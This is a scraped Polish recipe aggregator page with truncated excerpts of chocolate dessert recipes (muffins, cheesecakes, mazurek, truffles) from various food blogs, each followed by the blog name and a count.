Papilotki do nabycia w  Cukieteria.pl Składniki: Ciasto: 1 czubata (z górką ) szklanka mąki tortowej 2 jajka 1 szklanka mleka ½ szklanki oleju rzepakowego ¾ szklanki trzcinowego brązowego cukru ½ tabliczki gorzkiej czekolady 3 łyżki ciemnego kakao ½ laski  wanilii Dr.Oetker 1 mała płaska łyżeczka  sody Dr.Oetker Konfitura truskawkowa Cukier puder do oprószenia Sposób wykonania: Ciasto: Do rondelka wlewamy mleko, wsypujemy cukier(...)trzcinowy, dodajemy kakao, oraz pokruszoną na kawałki czekoladę oraz wydrążone ziarenka z laski wanilii, podgrzewamy na małym ogniu nie gotując, cały czas mieszając do rozpuszczenia. Zestawiamy z palnika, studzimy. Jajka ubijamy mikserem na puszystą masę , wlewamy olej, dodajemy mąkę wymieszaną z sodą oraz masę kakaową, delikatnie rózgą mieszamy do połączenia składników. Formę do muffinków wykładamy papierowymi papilotkami, wlewamy ciasto

Wanilia i Kardamon
Kokosowy jagielnik 152

mleka roślinnego (u nas waniliowe sojowe, ale inne słodkie też się nada :) 1 opakowanie budyniu waniliowego pół puszki stałej części mleczka kokosowego (czyli ok. 200 ml) 1 tabliczka gorzkiej czekolady 1 łyżka cukru płatki kokosowe do posypania  i/lub cukier puder *można dostać np. w Lidlu Przygotowanie: 1. Kaszę jaglaną wrzucamy na sitko i przelewamy dokładnie wrzątkiem, żeby pozbyć się(...)blendujemy całość na gładką masę. 4. Na blasze układamy ciastka jedno obok drugiego. Wykładamy na nie masę i przykrywamy kolejną warstwą ciastek. Na wierzchu rozsmarowujemy roztopioną w garnku gorzką czekoladę (podczas roztapiania możemy dodać odrobinę mleka, żeby się nie przypaliło) i posypujemy patkami/wiórkami  kokosowymi. Ciasto wkładamy na jakąś godzinę do lodówki. Jeżeli dla kogoś jest mało słodkie, dodatkowo

Bananowe Pole
Dietetyczny mus czekoaldowy bez cukru 145

Jeśli tak jak ja uwielbiacie czekoladę i dbacie o dobre źródła kalorii zapraszam na dietetyczny mus czekoladowy bez masła i cukru! Jako bazę wykorzystałam ugotowaną ciecierzycę. Nie bójcie się - nie czuć jej w deserze. Można także wykorzystać czerwoną fasolę, ale uważam, że jej smak delikatnie się przebija. Całość jest kremowa, puszysta i niskokaloryczna - idealna gdy przychodzi czas na słodką zachciankę(...)rozpuścić w mikrofali lub na małym ogniu. NIE MOŻE SIĘ ZAGOTOWAĆ. Wymieszać z musem. Przelać do silikonowych foremek i schłodzić w lodówce kilka godzin.  Podawać z roztopioną gorzką czekoladą, jogurtem lub bananami. Smacznego!  *Ciecierzycę zalać wodą do pokrycia i pozostawić na całą noc, aby napęczniała (podwoi swoją objętość). Następnego dnia odlać wodę i wlać świeżą. Gotować 40 minut

Chocolate Muffin Blog
Omlet kawowy bez mąki z kremem waniliowym, bananem i czekoladą bez cukru 102

kremowego serka, jogurtu naturalnego i aromatu waniliowego. Jako słodzika użyłam erytrolu, który ma tylko 20 kcal w 100 g. Omlet złożyłam na pół i wypełniłam plasterkami banana. Roztopiona belgijska czekolada jest zwieńczeniem całości :) Składniki: 2 jajka 1 łyżeczka kawy rozpuszczalnej w proszku 1/2 łyżeczki proszku do pieczenia 1 łyżka dowolnych mielonych orzechów Rozgrzać patelnię. Wszystkie składniki zmiksować na gładką masę(...)waniliowego 3 łyżeczki jogurtu naturalnego  Składniki wymieszać na gładki krem. Nałożyć krem za pomocą szprycy i ozdobnej końcówki lub łyżeczką.  Podawać z plasterkami banana, polane roztopioną gorzką czekoladą. Smacznego

Chocolate Muffin Blog
Ciasto Prince Polo 527

kakao 1 łyżeczka proszku do pieczenia   Krem: 3 szkl mleka 7 żółtek 4 łyżki cukru 3 łyżki mąki ziemniaczanej 3 łyżki mąki pszennej 320 g miękkiego masła 1 czekolada mleczna, posiekana 100 g pokruszonych wafelków Prince Polo 100 ml spirytusu   Polewa czekoladowa: 3 łyżki masła(...)wystudzenia w temperaturze pokojowej.   Miękkie masło utrzeć do puszystości, stopniowo dodawać ostudzony budyń, miksować do uzyskania jednolitego kremu. Na koniec  wsypać pokruszone wafelki Prince Polo oraz posiekaną czekoladę, zmiksować.     Polewa czekoladowa: Mleko i cukier puder umieścić w garnuszku. Podgrzewać do rozpuszczenia się cukru. Następnie dodać pokrojone w kostkę masło, dalej podgrzewać na małym ogniu, aż się

Nastoletnie Wypiekanie
Tort Szwarcwaldzki 155

łyżki cukru pudru 1 bita śmietana w proszku (opcjonalne) +wiśnie ze słoika (lub świeże jeśli jest sezon ;) ) do dekoracji, sok wiśniowy i/lub wiśniówka na poncz, wiórki czekoladowe, ciemna czekolada do rozpuszczenia na polewę (ja użyłam gotowej polewy czekoladowej i efekt końcowy nie do końca mi się podoba… ) Biszkopt przygotowujemy według przepisu . Można upiec go poprzedniego dnia, żeby miał dużo(...)nakładamy pierwszą warstwę kremu. Na kremie układamy wiśnie. Powtarzamy z resztą spodów. Cały tort pokrywamy warstwą kremu. Brzegi dekorujemy polewą czekoladową. Zdecydowanie polecam wykorzystać do tego rozpuszczoną gorzką czekoladę (powinna być ostudzona, ale ciągle jeszcze płynna). Ja użyłam gotowej czekoladowej polewy, która okazała się o wiele za rzadka. Wierzch tortu dekorujemy pozostałym kremem, wiśniami i wiórkami czekoladowymi. Smacznego! ciastkożercy

Ciastkozercy
Babeczki czekoladowo – marchewkowe z mlecznym kremem 182

zachęca tylko do leżenia w łóżku i odsypiania. Dzieci też miewają gorsze dni, a gdy nie mogą poszaleć na podwórku jest im równie ciężko. Mi na taką pogodę pomaga czekolada… duża jej ilość, co dziwne mojej starszej córce zawsze poprawiał się humor od marchewki, uwielbia ją w każdej postaci, wziąć w rękę, w surówce, gotowaną, czy podpiekaną. Najśmieszniejsze(...)taki jest fakt, u nas marchewka za długo nie poleży, a w dzieciństwie również takowego ciasta nie jadłam. Postanowiłam spróbować, ale w formie babeczek, łatwiejszych do złapania, z czekoladą i kremem mlecznym. Gdy tylko zaczęłam ścierać marchewkę małe stworki zaczęły z zaciekawieniem zaglądać do kuchni, tak już z niej nie wyszły do upieczenia babeczek, cały czas coś podjadając. Uwielbiam

dom-agi.pl
Izaura- sernik na murzynku 354

twarogu, zmielonego (może być z wiaderka) 1 szkl cukru 4 jajka kilka kropel aromatu waniliowego 1 op. budyniu waniliowego (40 g) Polewa czekoladowa: 150 g gorzkiej czekolady 60 g masła 3 łyżki mleka     Przygotowanie: Murzynek: Masło, kakao, mleko oraz cukier umieścić w garnuszku i podgrzewać na małym ogniu, cały czas mieszając, aż masło i cukier(...)skrócić lub wydłużyć, dlatego zalecam co jakiś czas spoglądać na naszą Izaurę ;) Upieczone ciasto wyjąć i wystudzić. Polewa czekoladowa: Masełko stopić w garnuszku. Dodać do niego połamaną na kawałki czekoladę oraz mleko. Podgrzewać na małym ogniu, cały czas mieszając do uzyskania jednolitej, błyszczącej polewy. Gęstniejącą wylać na sernik. Izaurę schłodzić w lodówce najlepiej całą noc. Smacznego! Przepis zmodyfikowałam z wielu

Nastoletnie Wypiekanie
Fit babeczki czekoladowe z kremem kokosowym 226

czekoladowym spodzie wypełnione gęstą masą kokosową... czyli legalne przyjemności! Przepis powstał na bazie babeczek bananowych z kremem , które tak przypadły Wam do gustu. Znając preferencje Czytelników połączenie kokosa i czekolady będzie strzałem w dziesiątkę!!!!!     Spody (6 babeczek): 1 rozgnieciony banan 1 szklanka płatków owsianych 1 łyżka miodu 1 łyżka masła orzechowego Składniki połączyć w misce. Nabierać łyżkę masy(...)białkowej) 1/2 szklanki wiórków kokosowych  Składniki wymieszać na pomocą łyżki do uzyskania jednolitej masy. Schłodzić w lodówce.    Wystudzone spody napełnić kremem.  Można polać roztopioną gorzką czekoladą. Smacznego

Chocolate Muffin Blog
Babka wielkanocna marmurkowa z polewą czekoladową 164

Dzień dobry! Nie wiemy jak Wy, ale my uwielbiamy babki, a szczególnie z czekoladą. Dlatego przygotowałyśmy babkę marmurkową, czyli połączenie babki waniliowej z kakaową. Czyż nie brzmi rewelacyjnie? Idealna na Wielkanoc, bo prezentuje się niezwykle okazale, ale również do codziennej popołudniowej kawy. Nic tylko upiec babę! A więc... Do dzieła! Składniki: 340 g mąki pszennej typ 500 230 g masła(...)oprószyć mąką/bułką tartą. Włożyć do piekarnika na około 70 minut. Sprawdzamy ciasto drewnianym patyczkiem. Wykładamy po upieczeniu. W rondelku zagotowujemy 1/4 szklanki śmietanki. Dodajemy 150 g czekolady i mieszamy aż do uzyskania polewy. Polewamy babkę i dekorujemy. Smacznego

Gotowanie, czyli hobby dla każdego
Ciasteczka Jeżyki bez pieczenia 342

Tesco znajdziecie aktualnie różne suszone owoce , idealne do ciasteczek jak i do świątecznych wypieków w atrakcyjnych cenach.    Składniki:    200g masła lub margaryny,  100g mlecznej czekolady,  tubka mleka skondensowanego,  2 łyżeczki cukru,  3 szklanki płatków kukurydzianych,   100g rodzynek (użyłam Kresto) ,  szklanka posiekanych orzechów włoskich. Wykonanie: Masło stopić wraz z cukrem(...)mlekiem z tubki oraz połamaną na kawałki czekoladą. Masę zdjąć z ognia, dodać pokruszone płatki kukurydziane - najlepiej włożyć je do foliowego worka i przejechać kilka razy wałkiem do ciasta. Dodać posiekane orzechy oraz rodzynki . Masę dokładnie wymieszać.  Kłaść łyżką małe porcje na papier do pieczenia, tworząc ciasteczka.  Odstawić na co najmniej 2 godziny, by ciasteczka zastygły

Z miłości do słodkości
Babka "łaciata" na oleju 143

pszennej 4 jaja L 150 g cukru/ksylitolu 150 ml oleju 150 g jogurtu greckiego 2 łyżeczki proszku do pieczenia 1,5 łyżki kakao Składniki na polewę: 80 g gorzkiej czekolady 80 ml śmietany kremówki jajeczka-migdałki do dekoracji   Wykonanie: mąkę wymieszać z proszkiem do pieczenia jajka ubić na puszysty kogel-mogel, aż masa potroi objętość. Zmniejszyć obroty miksera(...)patyczkiem, czy babka jest upieczona. Studzić pierwsze 10 minut w foremce, po tym czasie babkę wytrząsnąć z foremki i studzić na kratce w rondelku zagotować śmietankę kremówkę, wrzucić połamaną czekoladę i mieszać do rozpuszczenia. Polać wystudzoną babkę. Ozdobić wg własnej fantazji

Gotuj zdrowo!Guten Appetit!
Miniserniczki muscovado z truskawkami 148

zmielonego  75 g ciemnego cukru typu Muscovado  50 g drobnego cukru do wypieków  2 łyżki budyniu śmietankowego  1 łyżeczka ekstraktu waniliowego  50 g białej czekolady w wiórkach lub startej na grubych oczkach  2 jajka (duże) ok 200 g truskawek wcześniej rozmrożonych pokrojonych na plasterki Do dekoracji : posypki Delecta  250 ml schłodzonej śmietanki(...)niepotrzebnie nie napowietrzać masy. 2. Do masy pojedynczo wbijać jajka miksując na wolnych obrotach. Dodać ekstrakt waniliowy oraz przesiany budyń. Wymieszać do uzyskania gładkiej masy. Pod koniec wsypać białą czekoladę wszystko wymieszać, 3. Formy do muffinek wyłożyć papilotkami. Na dnie wyłożyć po łyżce masy biszkoptowej dociskając i wyrównując wierzch, Masę serową wykładamy do 4/5 wysokości papilotek (masa nieco urośnie podczas

vaniliowoczekoladowa
Czerwone babeczki 145

Składniki na babeczki: 220g masła 150g brązowego cukru 210 g mąki 2 łyżeczki proszku do pieczenia 4 jajka 4 łyżki kakao 1 łyżeczka ekstraktu rumowego 50 g startej gorzkiej czekolady Wszystkie składniki muszą być w temperaturze pokojowej. Mąkę, proszek i kakao przesiać do miski i odstawić. W misce miksera utrzeć masło z cukrem. Trochę to potrwa, ale masa ma być(...)gładka i puszysta. Następnie dodawać jajka, jedno po drugim. Dodać do masy suche składniki, ekstrakt rumowy i wymieszać na małych obrotach. Na koniec dodać posiekaną czekoladę i wymieszać drewnianą szpatułką. Blachę na babeczki wyłożyć papilotkami, ciasto wyłożyć do 3/4 wysokości. Piec ok 22 minuty w temperaturze 170 stopni. Po czasie wyjąć i wystudzić. Składniki na krem: 300 g serka typu

Panda i jej świat
Sernik czekoladowo-porzeczkowy z musem żurawinowym 156

jest pieczona, natomiast warstwa żurawinowa nie wymaga pieczenia. Składniki na tortownicę 23 cm: Warstwa czekoladowa: 500 g sera twarogowego (u mnie z wiaderka President) 130 g gorzkiej lub mlecznej czekolady roztopionej, jeszcze ciepłej 90 g śmietany kremówki 1 łyżka mąki ziemniaczanej 2 duże jajka 1 łyżka cukru (do smaku, ja nie dawałam) Wszystkie składniki powinny być w temperaturze pokojowej. Formę(...)żurawinowym Sernik czekoladowo-porzeczkowy z musem żurawinowym listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content='500 g sera twarogowego (u mnie z wiaderka President) 130 g gorzkiej lub mlecznej czekolady roztopionej, jeszcze ciepłej 90 g śmietany kremówki 1 łyżka mąki ziemniaczanej 2 duże jajka 1 łyżka cukru (do smaku, ja nie dawałam) 500 g sera twarogowego (u mnie z wiaderka

moj przepis na
Mazurek czekoladowy 185

krem budyniowy: 1 kostka masła 1,5 szklanki mleka 2 łyżki cukru 1 opakowanie budyniu waniliowego 2 łyżki kakao + kawa na poncz (rozpuszczalna lub parzona), wiórki czekoladowe, pół tabliczki czekolady (ja dałam gorzką ze skórką pomarańczową), orzechy laskowe, pół puszki kajmaku – około 200 g, obrane migdały do dekoracji. Biszkopt przygotowujemy według przepisu , można zrobić to poprzedniego dnia, żeby miał(...)miksujemy na puszystą masę. Dodajemy po łyżce zupełnie zimny budyń i kakao i miksujemy do uzyskania jednolitej masy. Krem dzielimy na dwie części: do jednej dodajemy pokrojone orzechy i czekoladę. Mieszamy i nakładamy na pierwszy spód. Pierwszy spód przykrywamy drugim i nakrapiamy ponczem. Brzegi i wierzch ciasta smarujemy kremem. Brzegi ciasta obsypujemy wiórkami czekoladowymi. Z obranych migdałów układamy „ramkę

Ciastkozercy
Marmurek czekoladowo-kokosowy 134

mnie standardowo po „dojeniu”) moje mleko kokosowe było jakieś dziwne i masa wyszła bardzo rzadka, więc dla pewności dodałam opakowanie budyniu waniliowego. ciasto czekoladowe: tabliczka gorzkiej czekolady 300 g mąki pszennej łyżeczka proszku do pieczenia szczypta soli 150 g masła/oleju kokosowego lub 200 ml oleju roślinnego 1 banan 150 g cukru (u mnie dark muscovado) około(...)pewności, że po upieczeniu nie będzie pływa dodałam opakowanie budyniu waniliowego, równie dobrze można dodać 2 łyżki mąki ziemniaczanej. Banana, masło kokosowe i cukier zbenduj na gładka masę, a czekoladę rozpuść w kąpieli wodnej. Połącz razem te dwie masy, najlepiej za pomącą dużej łyżki. Dodaj mąkę wymieszaną z proszkiem do pieczenia i solą przesiewając ją partiami. Gotowe ciasto jest gęste

greenscarf
Babeczki z kawałkami czekolady i kremem śmietankowym 148

Urocze, mięciutkie babeczki z kawałkami mlecznej czekolady. Ciasto, które jest bazą muffinek znacie z borówkowej wersji. Jeśli wolicie, zamiast tradycyjnych mazurków wielkanocnych możecie przygotować takie oto małe babeczki. Udekorowane kremem śmietankowym i posypane kolorowymi cukierkami będą się pięknie prezentować na świątecznym stole :)  Składniki : 300 g mąki pszennej 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 80 g brązowego cukru(...)posiekanej czekolady mlecznej 180 ml maślanki/kefiru/jogurtu  125 ml oleju 1 jajko W misce mieszamy mąkę, sodę. W innej miksujemy składniki mokre. Łączymy zawartość misek i mieszamy jedynie do połączenia składników. Dodajemy jagody i szybko mieszamy. Przekładamy do foremek silikonowych lub papierowych umieszczonych w formie do muffinów. Pieczemy 40 minut w 180*C, do tzw. suchego patyczka. Krem

Chocolate Muffin Blog
Molten lava cake w 5 minut! 168

Czekolada ma coś w sobie... poprawia humor, pobudza i zaspokaja naszą ochotę na coś słodkiego. Jest także idealnym materiałem do eksperymentów kulinarnych. Można ją topić, siekać, kroić i temperować. Jednym z najprostszych wypieków z jej użyciem jest ciastko czekoladowe lawa, z płynnym wnętrzem. Pierwszy raz spróbowałam tego deseru na wyspie Santorini i powiem szczerze, że żadna wersja do tej pory(...)porcję: 1 łyżka kakao 1 łyżeczka cukru waniliowego 3 i 1/2 łyżki mąki 3 łyżeczki jogurtu naturalnego 1/3 łyżeczki sody  Dodatkowo: 2 kostki gorzkiej lub mlecznej czekolady roztopionej i wymieszanej z 1 łyżką mleka Składniki na ciasto połączyć. Wyłożyć połowę masy do kubeczka (taki, który można wstawić do mikrofali).  Wyłożyć masę czekoladową i przykryć pozostałym ciastem. Piec

Chocolate Muffin Blog
Kruchy placek z jabłkami, gruszkami i czekoladą 177

Składniki na blaszkę ok 21 x 25cm: 6 kostek czekolady gorzkiej drobno połamanych 3 nieduże gruszki 3 małe jabłka kilka łyżeczek powideł śliwkowych 1/3 szklanki rodzynek obsypanych odrobiną mąki pszennej Ciasto kruche: 27 łyżek przesianej mąki tortowej (ok 270 g) 1 i 1/3 łyżeczki proszku do pieczenia 4 żółtka 5,5 łyżki miodu ok 130 g zimnej margaryny(...)/margarynę i wymieszaj ręcznie delikatnie trzepaczką. Pianka zmniejszy swą objętość. Wyciągnij blaszkę z ciastem z zamrażalnika. Posmaruj cienko powidłami i posyp ok 1/4 owoców. Na to porozrzucaj kawałeczki czekolady gorzkiej. Wlej piankę i rozprowadź równomiernie. Na niej rozłóż resztę owoców i posyp rodzynkami. Delikatnie powciskaj je w piankę. Na górę pokrusz w grube kawałki jasne ciasto. Wstaw do dobrze

Anioszek w kuchni
Sernik "Chatka Puchatka" 542

Składniki: Na sernik : 36 herbatników „bebetki” 1 litr mleka 250ml śmietany lub kefiru Laska wanilii 200g masła 4 jajka 2/3 szklanki ksylitolu 1 łyżka kakao Na polewę: Tabliczka gorzkiej czekolady (100g) 100ml śmietany kremówki 50g wiórek kokosowym (lub innej ulubionej posypki) Mleko wlewamy do garnuszka i doprowadzamy do wrzenia. Jajka roztrzepujemy ze śmietaną. Do wrzącego mleka powoli wlewamy masę jajeczną(...)lodówce. Przed dokładnym zawinięciem warto dokładnie wyrównać górę domku. Następnego dnia przygotowujemy polewę czekoladową. W garnuszku podgrzewamy śmietanę niemalże do wrzenia. Zdejmujemy z ognia i wrzucamy czekoladę. Mieszamy, aż się rozpuści. Smarujemy domek i posypujemy wiórkami kokosowymi. Odstawiamy do ostygnięcia. Smacznego

Kolizje Smaków
Mazurek z masą orzechową i czekoladą 235

wylepić dno natłuszczonej i wysypanej bułką tartą formy o śr. 22cm. Nakłuć widelcem. Podpiekać 7 minut w temp. 180st. Nadzienie:   puszka masy orzechowej (użyłam Helio ),  100g gorzkiej czekolady,  garść orzechów włoskich ,  3 białka,  1/2 szklanki cukru,  szklanka płatków owsianych. Czekoladę posiekać i rozłożyć na gorącym cieście. Posypać posiekanymi orzechami włoskimi. Rozsmarować gotową masę orzechową

Z miłości do słodkości
Mazurek limonkowy 241

mąki migdałowej (zmiksowanych migdałów bez skórki) 6 g agaru (lub 6 g żelatyny) + 2-3 łyżki kajmaku (użyłam kajmaku ze słoika, z solą morską) Wierzch: 1/2 tabliczki białej czekolady 9 migdałów (opcjonalnie) Mazurek limonkowy - jak zrobić? Niezbyt twarde masło umieszczamy w misie miksera, dodajemy cukier i miksujemy do połączenia składników. Dodajemy żółtka oraz mąkę i sól. Miksujemy kilka minut(...)czym dodaj mąkę migdałową. Gdy masa przestygnie i zacznie wyraźnie tężeć, wylej ją na spód ciasta pokryty kajmakiem i wstaw do lodówki na min. 4 godziny.  Białą czekoladę rozpuść w kąpieli wodnej (lub mikrofali), polej nią wierch mazurka, ozdób migdałami (opcjonalnie). Smacznego

Moje Qulinaria
Mazurek różano-marcepanowy 121

mąki pszennej 200g mąki krupczatki kostka masła 100g c. pudru 2 jajka 1/2 łyżeczki proszku do pieczenia średni słoiczek marmolady z dodatkiem róży 400g marcepanu 1,5 tabl. mlecznej czekolady skórki kandyzowane siekane migdały kandyzowane wiśnie Ciasto: Wszystkie składniki posiekać i szybko zagnieść gładkie ciasto. Ciasto owinąć w folię i włożyć na godzinę do lodówki. Rozwałkować na kwadrat wielkości 25x35cm(...)jednym ułożyć marcepan, przykryć drugim i rozwałkować na prostokąt wielkości arkuszy papieru. Zdjąć jeden papier. Ułożyć rozwałkowany marcepan arkuszem papieru na wierzchu, zdjąć drugi papier. Marcepan lekko docisnąć. Czekoladę rozpuścić w kąpieli wodnej, polać mazurek. Ciasto dowolnie udekorować kandyzowanymi owocami i migdałami. Przechowywać w chłodnym miejscu

Smakołyki Asi
Mazurek mleczno-czekoladowy z bakaliami 117

proszku (nie granulowanego) 140 g masła 1/3 szkl drobno pokruszonych herbatników kilka suszonych daktyli 50 g płatków migdałowych 50 g wiórków kokosowych 1/3 szkl siekanych orzechów włoskich 2/3 gorzkiej czekolady Terravita 70% Do ozdoby: czekoladowe jajeczka płatki migdałów kolorowe kandyzowane skórki zielone wiórki kokosowe Ciasto kruche : wszystkie suche składniki posiekać z margaryną i smalcem. Dodać jajko i śmietanę, szybko zagnieść(...)stopni na ok 20 minut. Ostudzić. Masa mleczno-orzechowa : mleko, cukier i masło przełożyć do garnuszka, podgrzewać do rozpuszczenia się cukru. Do gorącej masy dodać pokruszoną gorzką czekoladę, mieszać do rozpuszczenia. Wsypać mleko w proszku i zmiksować. Na koniec dodać drobno pokruszone ciastka i bakalie, wymieszać. Masę wylać na wystudzony spód mazurka. Udekorować bakaliami i czekoladowymi jajeczkami. Ciasto odstawić

Smakołyki Asi
Mazurek czekoladowy z nutą porzeczkową 153

Ciasto półkruche: 180 g mąki pszennej 60 g cukru pudru 120 g zimnego masła 2 żółtka 1 łyżka kwaśnej śmietany 12%   Ganache czekoladowe: 100 g  gorzkiej czekolady 1/2 szkl śmietany kremówki 30% 2 łyżki cukru pudru   Dodatkowo: kilka łyżek dżemu z czarnej porzeczki płatki kokosowe, żurawina, migdały, orzechy itp. do dekoracji     Przygotowanie:   Ciasto(...)pozostawić do całkowitego wystygnięcia.       Ganache czekoladowe: Śmietankę podgrzać wraz z cukrem pudrem w garnuszku na małym ogniu (uważać, by się nie zagotowała!). Dodać posiekaną wcześniej czekoladę i energicznie wymieszać, aż się rozpuści i powstanie gęste ganache. Odstawić do lekkiego przestudzenia.   Mazurka wysmarować dżemem. Na dżem wylać letnie ganache czekoladowe. Całość ostrożnie umieścić w lodówce

Nastoletnie Wypiekanie
Klasyczny sernik bez spodu (wiedeński) 912

miękkiego masła 1 szkl cukru 1 op. cukru waniliowego (16 g) 6 jajek 3 łyżki budyniu waniliowego (proszek)     Polewa czekoladowa: 80 g mlecznej czekolady 1 łyżka masła 4 łyżki śmietany kremówki 30%     Przygotowanie:   Masa serowa:  Wszystkie składniki powinny być w temperaturze pokojowej ! Masło utrzeć z cukrem i cukrem waniliowym do puszystości(...)pozostawić sernik jeszcze na ok. 20-30 minut do przestygnięcia. Następnie wyjąć i odstawić do całkowitego ostygnięcia.     Polewa czekoladowa: Do garnuszka włożyć masło, dodać posiekaną czekoladę i wlać śmietankę. Podgrzewać na małym ogniu, co jakiś czas mieszając, aż składniki się rozpuszczą i połączą. Ostudzony sernik polać gęstniejącą polewą czekoladową. Schować do lodówki najlepiej na całą

Nastoletnie Wypiekanie
Zdrowe ciasteczka kokosowe w czekoladzie 230

wycinać dowolne kształty, u mnie serduszka. Układać na blaszce wyłożonej papierem do pieczenia. Piec 15 minut w 180*C. Wyjąć i wystudzić.  Dodatkowo: 5 kostek gorzkiej czekolady Czekoladę roztopić w kąpieli wodnej lub mikrofali. Smarować od spodu wystudzone ciastka i odkładać, aż polewa zastygnie.  Smacznego

Chocolate Muffin Blog
Deser czekoladowo-kawowy 179

Kremowy deser z dodatkiem kawy :) Składniki 330 ml śmietany 30% 1 tabliczka gorzkiej czekolady 250 g ricotty 1 łyżka kawy mielonej brzoskwinie z syropu Sposób przygotowania Czekoladę rozpuścić z … Czytaj dalej Deser czekoladowo-kawowy

czarrna od kuchni
Pyszny sos czekoladowy do deserów. 126

whisky , kawę itp .... Składniki :  na ok 350 ml sosu 1 szklanka wody Pół szklanki (110g) cukru 4 łyżki miodu 3/4 szklanki (65g) gorzkiego kakao  80 g gorzkiej czekolady (3/4 tradycyjnej kostki ) szczypta soli. Wykonanie : Wodę zagotować z cukrem.  Gdy ten się rozpuści dodać miód , sól i kakao. doprowadzić do wrzenia. Zestawić garnek z ognia , wrzucić połamaną czekoladę

Malinowa Kawiarenka
Biszkopt z bananami, bitą śmietaną i kajmakiem 210

cukru pół szklanki mąki pszennej ( używam od Młynu Kopytowa ) pół szklanki mąki ziemniaczanej 4 banany 200g śmietanki kremówki 200g mascarpone ( używam mascarpone od Mlekoma ) 450g kajmaku (puszka) 100g białej czekolady Białka miksuję na sztywną pianę, pod koniec dodaję po łyżce cukru - miksując aż do połączenia po każdym dodaniu. Następnie dodaję partiami żółtka (na dwa razy) i miksuję po każdym dodaniu(...)śmietanę - z masy śmietanowej odkładam cztery łyżki na posmarowanie wierzchu ciasta. Do foremki wkładam drugi blat ciasta, delikatnie dociskam i smaruję go pozostałym kajmakiem, a następnie odłożoną masą śmietanową. Czekoladę ścieram na tarce i posypuję nią ciasto. Gotowe wkładam do lodówki i zostawiam na 12 godzin by było zwarte

Gotowanie i blogowanie
Sernik z polewa karmelową i likierem truskawkowym 104

foremka 23cm) 3 jaja 3/4 szklanki cukru pudru 200g jogurtu naturalnego 500g zmielonego sera białego 2 łyżki mąki ziemniaczanej  2 łyżki skórki z pomarańczy kropelka barwnika różowego 100g czekolady karmelowej 50ml mleka 50ml likieru truskawkowego Dalkowski* Żółtka ubijamy z cukrem na gęstą masę. Zwalniamy obroty miksera do najwolniejszych i dodajemy zmielony ser, jogurt oraz skórkę z pomarańczy. Na koniec(...)pieczemy przez 70 minut. Po upieczeniu uchylamy drzwiczki piekarnika, a po 10 minutach wyciągamy gotowy sernik i pozostawiamy do całkowitego ostudzenia.  W rondelku rozpuszczamy czekoladę karmelową, dodajemy mleko i mieszamy na gładką masę. Ostawiamy do ostudzenia, gdy masa będzie letnia dodajemy likier truskawkowy, energicznie mieszamy i oblewamy polewą nasz sernik. Odstawiamy do zastygnięcia. *W wersji dla dzieci należy pominąć

Gotowanie i blogowanie
Trufle czekoladowo-miętowe 195

garść en­dorfin uk­ry­tych w tych truflach...... Zos­ta­nie tyl­ko słod­ki smak w ustach. Inspiracja przepiem najnowszego wydania magazynu Apetyt. Składniki: 15 dag gorzkiej czekolady 60% kakao 10 dag masła 82% 100 ml śmietanki 4 herbatniki maślane 2 krople kropli miętowych ½ laski wanilii 30 ml likieru czekoladowego Ciemne kakao do obtoczenia Sposób przygotowania: W kąpieli(...)wodnej rozpuszczamy czekoladę dodajemy  stopniowo masło mieszamy, po połączeniu z masłem wlewamy śmietankę dodajemy pokruszone na pył herbatniki, wlewamy likier, dodajemy krople miętowe, oraz wydrążone ziarenka z wanilii,  dokładnie mieszamy, wstawiamy naczynie do lodówki  do solidnego schłodzenia i stężenia, następnie nabieramy masę łyżeczką formujemy w dłoniach trufle, obtaczamy w gorzkim kakao. Życzę smacznego

Wanilia i Kardamon
Fit czekolada mleczna 139

pory udało mi się wymyślić. Są pewnie tacy, którzy wolą dietetyczne batoniki Bounty , fit tiramisu bez cukru lub dietetyczne Kinder Bueno , ale nie ma to jak tradycyjna czekolada :) Może nie do końca taka tradycyjna, bo o niebo zdrowsza i mniej kaloryczna. Sklepowa ma ponad 500 kcal w 100g, a nasza ok. 200 kcal! Brzmi zachęcająco? Jeśli nadal nie jesteście przekonani(...)pierwszy gryz załatwi sprawę :) Czekolada konsystencją przypomina krówkę, jest aksamitna, ciągnąca i uzależniająca... Spróbujcie, a nie pożałujecie :) Składniki: 100 g serka homogenizowanego np. Bieluch 1/4 szklanki mleka 200 g mleka w proszku 1 łyżka kakao 1 łyżeczka miodu dowolne dodatki: orzechy, rodzynki, żurawina Mleko i serek dokładnie wymieszać w garnku, delikatnie podgrzać, aż zrobi się ciepłe. Zdjąć z palnika, dodać

Chocolate Muffin Blog
Babeczki czekoladowo-kawowe z kremem 171

krem wyjadało się łyżeczką z miski. Składniki: Ciasto: 1 czubata (z górką ) szklanka mąki tortowej 2 jajka 1 szklanka mleka ½ szklanki oleju rzepakowego ¾ szklanki trzcinowego brązowego cukru ½ tabliczki gorzkiej czekolady 3 łyżki ciemnego kakao ½ laski  wanilii 1 mała płaska łyżeczka  sody Czekoladowy krem: 25 dag miękkiego masła 35 dag cukru pudru 10 dag ciemnego kakao 150 ml mleka(...)Dowolna posypka czekoladowe serduszka Dr.Oetker Sposób wykonania: Ciasto: Do rondelka wlewamy mleko, wsypujemy cukier trzcinowy, dodajemy kakao, kawę oraz pokruszoną na kawałki czekoladę oraz wydrążone ziarenka z laski wanilii, podgrzewamy na małym ogniu nie gotując, cały czas mieszając do rozpuszczenia. Zestawiamy z palnika, studzimy. Jajka ubijamy mikserem na puszystą masę , wlewamy olej, dodajemy mąkę wymieszaną z sodą oraz masę kakaową

Wanilia i Kardamon
Tort potrójnie czekoladowy 168

łyżeczka cukru z wanilią 1 łyżeczka proszku do pieczenia krem 400 ml śmietany 30% 400 g mascarpone 3/4 szklanki cukru pudru 1/4 szklanki gorzkiego kakao 0,5 tabliczki gorzkiej czekolady kwaśny dżem, np. wiśniowy, malinowy do nasączenia 0,5 szklanki wrzącej wody sok z połowy cytryny lukier czekoladowy  125 g masła 1/2 szklanki cukru pudru 4 łyżki gorzkiego kakao(...)śmietanę wraz z cukrem pudrem ubić na dosyć sztywną pianę. Dodawać po łyżce mascarpone, cały czas miksując na niskich obrotach. Pod sam koniec dodać kakao oraz bardzo drobną posiekaną czekoladę. Całość połączyć ze sobą. Schować do lodówki.  Na sam koniec przygotować lukier czekoladowy błyszczący. W rondelku rozpuścić masło. Następnie wsypać cukier puder. Całość wymieszać ze sobą. Cukier musi się

Ugotować
Kokosowe pancakes z truskawkami 162

